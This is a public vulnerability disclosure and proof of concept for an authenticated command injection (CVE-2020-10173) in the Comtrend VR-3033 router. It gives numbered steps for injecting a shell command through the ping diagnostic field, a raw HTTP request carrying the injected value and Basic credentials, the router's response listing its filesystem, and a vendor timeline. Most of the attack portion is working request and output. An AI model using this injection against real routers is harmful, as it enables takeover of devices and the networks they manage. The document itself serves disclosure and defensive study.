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# Title: Comtrend VR-3033 - Authenticated Command Injection # Date: 2020-02-26 # Author: Author : Raki Ben Hamouda # Vendor: https://us.comtrend.com # Product link: https://us.comtrend.com/products/vr-3030/ # CVE: CVE-2020-10173 The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection vulnerability via ping and traceroute diagnostic page. Remote attackers are able to get full control and compromise the network managed by the router. Note : This bug may exist in other Comtrend routers . =============================================== Product Page : https://us.comtrend.com/products/vr-3030/ Firmware version : DE11-416SSG-C01_R02.A2pvI042j1.d26m Bootloader (CFE) Version : 1.0.38-116.228-1 To reproduce the vulnerability attacker has to access the interface at least with minimum privilege. 1- Open interface 2- click on 'Diagnostic' tab on top. 3- click then on 'Ping' or traceroute 4- on the text input, type 'google.fr;ls - l' 5 - a list of folder names should appear. ############################# POC session Logs : GET /ping.cgi?pingIpAddress=google.fr;ls&sessionKey=1039230114 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic dXNlcjp1c2Vy Connection: close Referer: http://192.168.0.1/pingview.cmd Upgrade-Insecure-Requests: 1 =====================++RESPONSE++===================== HTTP/1.1 200 Ok Server: micro_httpd Cache-Control: no-cache Date: Fri, 02 Jan 1970 00:00:26 GMT Content-Type: text/html Connection: close <html><head> <meta HTTP-EQUIV="Pragma" CONTENT='no-cache'> <link rel="stylesheet" href='stylemain.css' type='text/css'> <link rel="stylesheet" href='colors.css' type='text/css'> <script language="javascript" src="util.js"> </script> <script language="javascript"> <!-- hide function btnPing() { var loc = 'ping.cgi?'; with ( document.forms[0] ) { if (pingIpAddress.value.length == 0 ) { return; } loc += 'pingIpAddress=' + pingIpAddress.value; loc += '&sessionKey=1592764063'; } var code = 'location="' + loc + '"'; eval(code); } // done hiding --> </script> </head> <body> <blockquote> <form> <b>Ping </b><br> <br> Send ICMP ECHO_REQUEST packets to network hosts.<br> <br><table border="0" cellpadding="0" cellspacing="0"><tr> <td width="170">Ping IP Address / Hostname:</td> <td width="170"><input type='text' name='pingIpAddress' onkeydown="if(event.keyCode == 13){event.returnValue = false;}"></td> <td width=""><input type='button' onClick='btnPing()' value='Ping'></td> </tr></table><br> <tr> <td>bin </td><br> </tr> <tr> <td>bootfs </td><br> </tr> <tr> <td>data </td><br> </tr> <tr> <td>debug </td><br> </tr> <tr> <td>dev </td><br> </tr> <tr> <td>etc </td><br> </tr> <tr> <td>lib </td><br> </tr> <tr> <td>linuxrc </td><br> </tr> <tr> <td>mnt </td><br> </tr> <tr> <td>opt </td><br> </tr> <tr> <td>proc </td><br> </tr> <tr> <td>sbin </td><br> </tr> <tr> <td>sys </td><br> </tr> <tr> <td>tmp </td><br> </tr> <tr> <td>usr </td><br> </tr> <tr> <td>var </td><br> </tr> <tr> <td>webs </td><br> </tr> </form> </blockquote> </body> </html> ##Same bug with the same way we exploited in ping function can be exploited the same way in traceroute function. =========== ##Timeline : *Bug sent to vendor : 17-02-2020 *No Response after 10 days * Public disclosure: 27-02-020
Comtrend vr3033 command injection Vulnerability / Exploit Source : Comtrend vr3033 command injection
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